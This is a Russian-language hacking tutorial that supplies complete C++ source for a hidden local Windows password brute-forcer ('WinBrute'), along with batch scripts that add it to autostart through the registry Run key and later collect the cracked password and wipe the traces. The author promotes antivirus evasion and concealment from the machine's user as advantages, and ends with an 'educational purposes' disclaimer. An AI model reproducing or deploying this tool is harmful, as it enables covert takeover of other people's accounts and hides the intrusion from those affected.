Локальный взлом Windows XP/Vista


Что делать если Локальный взлом Windows XP непоможет, т.к. нет доступа к биосу и вернуть его нереально, тобиш загрузится с чего бы то невыйдет...
Локальный взлом Windows XP #2 тоже непоможет, т.к. файловая система NTFS.
Есть еще метод.
Метод грубой силы, который мы и намерены применить (нет не подумайте грубой физической силы, упаси...)

Значит третья часть... bruteforce

Итак мы будем подбирать пароль админа (или можна другого юзера, как пожелаете).
Для этого напишем програмку, которая и будет заниматся черным делом, а мы только периодически будем смотреть,
есть ли результаты, да кормить ее новыми словарями для брута ))
К тексту скажу, что подобное решение уже есть и называется оно ntpassworder , но наше приложение обладает четырмя преимуществами:

1. Пока оно неопределяется антивирусами как Hack Tool , соответственно проблем будет меньше ))

2. Оно непоказывает окно, поэтому может себе работать в то время как пользователь неподозревает о его     существовании (ну в процессах понятно оно есть).

3. Пароли берет из словаря (в ntpassworder нет такого и опции по настраиванию довольно скудны, например нету маски). В силу этого можно файл напичкать хоть и подряд идущими числами.

4. В силу невидимости (в трее тоже небудет видно) программу можно засунуть в автозагрузку и она будет себе брутить и сохранять текущую позицию брута каждые 5 минут, а после перезагрузки и\или захода польователя продолжит с сохраненной позиции.

Теперь о том на чем будем ее писать: на С++
В частности я испольщовал DEV C++ скачать можно отсюда http://sourceforge.net/projects/dev-cpp/

Итак, устанавливаем его, к примеру, на С:
Запускаем главный файл devcpp.exe Файл -) создать -) проект -) Windows Application
Стираем все. Далее туда пишем следующее:

--------------------------------------------------------------------------------

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------------------------------------//
#include <windows.h>
#include <string.h>

//Процедура запсис текущей позиции во временной файл temp.dat
int WriteTempToFile(int i, char ft_Path[255]) {
    HANDLE htFile;
    DWORD bytesHtWritten;
    char k[10];
    itoa(i, k, 10);
    htFile=CreateFile(ft_Path, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
    WriteFile(htFile, k, 10, &bytesHtWritten, NULL);
    CloseHandle(htFile);
    };

//Главная процедура
int main(int argc, char* argv[])
{
    // Проверяем переданы ли аргументы, если нет, то выводим краткую справку и завершаем процесс
    if (argc<2) {
                MessageBox(0,"Usage: WinBrute.exe <username>\n<username> - User name to brute\n", "WinXP/Vista bruteforce by bre@k [hackzone.ru]", MB_OK);
                ExitProcess(0);
                };
   
    //Подождем 100 секунд так как в случает запуска с автозарузки лутьше выждать пока стартуют программы
    //Sleep(100000);
   
    // Получение текущей директории
    int dirSize=240;
    char fPath[255];
    GetCurrentDirectory(dirSize, fPath);
   
    // Копируем путь к текущей директории еще в 2 переменные
    char frPath[255];
    char ftPath[255];
    for (int i=0; i<=strlen(fPath); i++) {
                                        frPath[i]=fPath[i];
                                        ftPath[i]=fPath[i];
                                        };
    // Присоединяем к пути имена файлов
    strcat(fPath, "\\out.dat");
    strcat(frPath, "\\in.dat");
    strcat(ftPath, "\\temp.dat");
   
    //Читаем файл паролей in.dat
    //-----------------------------------------------------------------------------------------
    HANDLE hrFile;
    hrFile=CreateFile(frPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
   
    int hrFileSize;
    hrFileSize=GetFileSize(hrFile, NULL);
    char* hrFileBuffer=new char[hrFileSize];
    DWORD hfFileBytesRead;
    ReadFile(hrFile, hrFileBuffer, hrFileSize, &hfFileBytesRead, NULL);
   
    CloseHandle(hrFile);
    //Конец читающих инструкций
    //-------------------------------------------------------------------------------------------
   
   
    // Фильтруем: каждое слово должно закачиватся на 0х00 чтобы можно было обращатся к нему
    // по указателю на начало слова
    int ii=0;
    HANDLE phToken;
    for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0A) {
                                                                       hrFileBuffer[i]=0x00;
                                                                       ii=1;
                                                                       };
                                                                       
    for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0D) {
                                                                       hrFileBuffer[i]=0x00;
                                                                       ii=2;
                                                                       };
   
    // Задаем начальные значения двух слепков времени
    SYSTEMTIME systime;
    SYSTEMTIME systimestamp;
    GetSystemTime(&systime);
    GetSystemTime(&systimestamp);
   
    // Читаем последнюю позицию из файла temp.dat , если такого файла нет, то позиция "0"
    int starti=0;
    HANDLE hrtFile;
    hrtFile=CreateFile(ftPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
    if (GetLastError()==0) {
                         char hrtFileBuffer[10];
                         DWORD hrtFileBytesRead;
                         ReadFile(hrtFile, hrtFileBuffer, 10, &hrtFileBytesRead, NULL);
                         starti=atoi(hrtFileBuffer);
                         // Проверяем файл на метку "1111111111" если это так то перебор уже закончен и мы выходим из программы
                         for (int t=0; t<=9; t++) if (hrtFileBuffer[t]=='1') if (t==9) ExitProcess(4);                                                                         
                        };
    CloseHandle(hrtFile);
   
   
    // Цикл проверки всех паролей из списка-----------------------------------------------------------------
    for (int i=starti; i<=hrFileSize; i++){
        if (hrFileBuffer[i]==0x00) i=i+ii; else continue;

        // Сохраняем каждые 5 минут текущую позицию чтения
        // Если время перевалило за 54 минуты то пишем текущую позицию в файл и ждем 5 минут, дабы избежать неприятности
        if (systime.wMinute>0x0036) {
                                    WriteTempToFile(i, ftPath);
                                    Sleep(300000);
                                    GetSystemTime(&systime);
                                    GetSystemTime(&systimestamp);
                                    }
                                    else if (systime.wMinute>systimestamp.wMinute+0x0005) {
                                                         GetSystemTime(&systimestamp);
                                                         WriteTempToFile(i, ftPath);
                                                         };
        GetSystemTime(&systime);
       
        // Процедура проверки соответствия пароля логину
        // Если найден пароль, то выполняем следующие инструкции
        if (LogonUser(argv[1], NULL, &hrFileBuffer[i], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &phToken)!=0) {
                            CloseHandle(phToken);
                           
                            //Вычисление длины пароля
                            int j=i;
                            while(TRUE) {
                                        if (hrFileBuffer[j]!=0x00) j++; else {
                                                                             j=j-i;
                                                                             break;
                                                                             };
                                        };
                           
                            //Пишем в файл out.dat результат в формате Username: Password
                            HANDLE hwFile;
                            hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
                            DWORD bytesWritten;
                            char writeResult[255];
                            for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k];
                            strcat(writeResult,": ");
                            strcat(writeResult, &hrFileBuffer[i]);
                            WriteFile(hwFile, writeResult, strlen(argv[1])+j+2, &bytesWritten, NULL);
                            CloseHandle(hwFile);
                           
                            // Учтанавливаем метку в файл, что перебор закончен
                            i=1111111111;
                            WriteTempToFile(i, ftPath);
                           
                            // Завершаем процесс
                            ExitProcess(5);
                            };
        };
   
    //Если мы здесь, то пароля в списке небыло и мы записываем в файл out.dat что пароля не нашли для указанного пользователя
    HANDLE hwFile;
    hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
    DWORD bytesWritten;
    char writeResult[255];
    for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k];
    strcat(writeResult, ": cannot find password in passwords list\n");
    WriteFile(hwFile, writeResult, 40+strlen(argv[1]), &bytesWritten, NULL);
    CloseHandle(hwFile);
   
    // Учтанавливаем метку в файл, что перебор закончен
    int n=1111111111;
    WriteTempToFile(n, ftPath);
   
    return 0;
}

///------------------------------------------------------------------------------------------------------------------------///
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

--------------------------------------------------------------------------------

Жмем Ctrl+S , а потом Ctrl+F9 и если пройшло Compiling а потом Linking без проблем то в нашей директории куда мы сохранили проект появится исполняемый файл - переименуем его в WinBrute.exe

Теперь попробуйте его просто запутить: вылетит окно что надо передать параметры и интрукция по использованию.
Запускать нужно например так: WinBrute.exe Администратор , где Администратор это имя пользовтеля, но можно и другое.

Кроме того в текущей директории если вы вручную его запускаете должен быть файл паролей in.dat
Проверки на его присутствие в программе нету, но\поэтому она невылетит с ошибкой (веренее не должна))) ) и не скажет, что нету файла, пугая сидящего пользователя внезапным окном )) (ведь нам нужна скрытность) но и положительного результата, как понимаете, точно небудет.
А в исходящем файле out.dat будет "Администратор: cannot find password in passwords list"

Для удобства соорудим коммандный файл для запуска нашей проги:
--------------------------------
@echo off
cd .\
chcp 1251
start WinBrute.exe Администратор
--------------------------------
Дадим ему имя startme.bat , теперь в одной директории должны быть startme.bat , in.dat , WinBrute.exe
Запускаем startme.bat
Идем в диспетчер задач и смотрим: наш процесс работает.
Если брут окончен, то в нашей директории появится файл out.dat с результатом и temp.dat, в котором будет метка, что брут закончен.
temp.dat можно удалить, а то из нашего каталога брутить потом небудет ))

Итак, если повезло, то пароль подобран. Если же нет, то удаляем наш процесс и перейдем к следующему этапу.

Видать брутить будет долго, а значит того времени, что мы сидим за компом может нехватить.
Значит дадаим файл паролей побольше и поставим програмку на автозагрузку.

Автоматизировать процесс поможет следующий коммандный файл:
---------------------------------------------------------------начало--------------------------------------------------------
@echo off
rem отключили эховывод

title Adding to autostart WinBrute by break [hackzone.ru]

rem дефолтовое значение переменной для ошибки
set a=1

rem устанавливаем текущую директорию активной
cd .\

rem если нет каталога C:\Temp то мы его создаем
if not exist C:\Temp md C:\Temp

rem копируем с текущего каталога WinBrute.exe в папку C:\Temp
copy /Y WinBrute.exe C:\Temp

rem Если файл успешно скопировался то напишем
if "%errorlevel%"=="0" echo File WinBrute.exe was successfully copied to C:\Temp

echo.

rem копируем с текущего каталога in.dat в папку профиля пользователя
copy /Y in.dat "%userprofile%"

rem Если файл успешно скопировался то напишем
if "%errorlevel%"=="0" echo File in.dat was successfully copied to %userprofile%

echo.

rem меняем кодовую страницу, чтоб небыло каракуль ))
chcp 1251

rem добавлем в реестр ключ автозапуска на нашу скопированную программу
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /t REG_SZ /d "C:\Temp\WinBrute.exe Администратор" /f

rem если ошибки нет - ставим а=1
if "%errorlevel%"=="0" set a=1

rem возвращаем кодовую страницу
chcp 866

echo.

rem проверяем код ошибки и если все нормально то так и напишем, а то после reg.exe выведется неразбериха
if "%a%"=="1" echo Information successfully added to registry

echo.

pause
-----------------------------------------------------------------конец-------------------------------------------------------
Дадим ему имя add_to_autostart.bat
Теперь в найшей папке точно должны быть add_to_autostart.bat , WinBrute.exe , in.dat

Запускаем коммандный файл: Если два файла скопировано и информация в реестр успешно добавлена, то можно перезайти под этим юзером и брут начнется.

Теперь когда вы прийдете следующий раз чтобы посмотреть на результаты "своего" труда то понадобится проверить файл out.dat , поудалять остальные свои файлы и удалить запись с реестра.

И как всегда автоматизируем рутинную работу (следующий коммандный файл):
------------------------------------------------------------------начало-----------------------------------------------------
@echo off
rem отключили эховывод

title Getting password file from WinBrute by break [hackzone.ru] and Cleaning... if success

rem делаем текущую директорию активной
cd .\

rem если есть файл паролей то идем на метку 1
if exist "%userprofile%\out.dat" goto 1

rem пишем что нет пока файла паролей
echo there is no password results yet

pause

rem завершаем коммандный файл
exit

:1
rem скопируем файл паролей в текущую директорию
copy "%userprofile%\out.dat" .\

rem Если файл успешно скопировался то напишем, что он у нас и мы можем туда заглянуть
if "%errorlevel%"=="0" echo YES i've got file with password... check it

echo.

rem поудаляем из директории профиля польователя in.dat, out.dat, temp.dat и файл C:\Temp\WinBrute.exe
del /q /s "%userprofile%\in.dat"
del /q /s "%userprofile%\out.dat"
del /q /s "%userprofile%\temp.dat"
del /q /s C:\Temp\WinBrute.exe

rem удалим ключ автозапуска
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /f

rem Если ключ удалился то так и напишем
if "%errorlevel%"=="0" echo Key was deleted!!!

pause

rem все. выходим
exit
------------------------------------------------------------------конец------------------------------------------------------
Дадим ему имя get_file_password.bat

Теперь мы пришли (или никуда неуходили ))) ).
Запускаем get_file_password.bat (он может быть и сам по себе, например на флешке)
В случае если результатов нет то так нам и напишет, если же они есть то в текущую папку скопируется out.dat поудаляются остальные и удалится запись с реестра (за чем мы можем наблюдать в коммандном окне).

Все файл с паролем у нас - откроем его блокнотом и что увидим:
если увидим формат [имя юзера: что-то похожее на пароль]  то понятна наша радость )))
если же там [имя юзера: cannot find password in passwords list] то пароля небыло в файле паролей.
В этом случае повторяем процедуру с коммандным файлом add_to_autostart.bat, но в текущую директории ложим другой файл с паролями.

На заметку: Не стоит забывать, что программа ищет метку окончания брута в файле temp.dat и если такову найдет, то дальше брутить небудет ни при каких обстоятельствах, хоть вы смените и имя пользователя и файл паролей.

Как и прежде на hackzone.ru в раздел файлов я залью уже откомпилированный файл и готовые коммандный файлы (в архиве).
Останется только в файле add_to_autostart.bat имя Администратор заменить на, то которое хотите брутить.

Скорость брута у меня была около 3-5 тыс. паролей в секунду.
Пароль 50000 подобрался за 10 секунд (использовался файл паролей из архива) (проц intel core 2 duo 2.0 ГГц).
Это так для прикидки.

Программу тестировал и ошибок необнаружил. Принимаются любые замечания и предложения )))

Обьяснения: Статья писалась исключительно в образовательных целях и за все возможные последствия после прочтения этой статьи, в том числе и после использования прикрепленных файлов (они выкладываются для ознакомления) я ответственности не несу.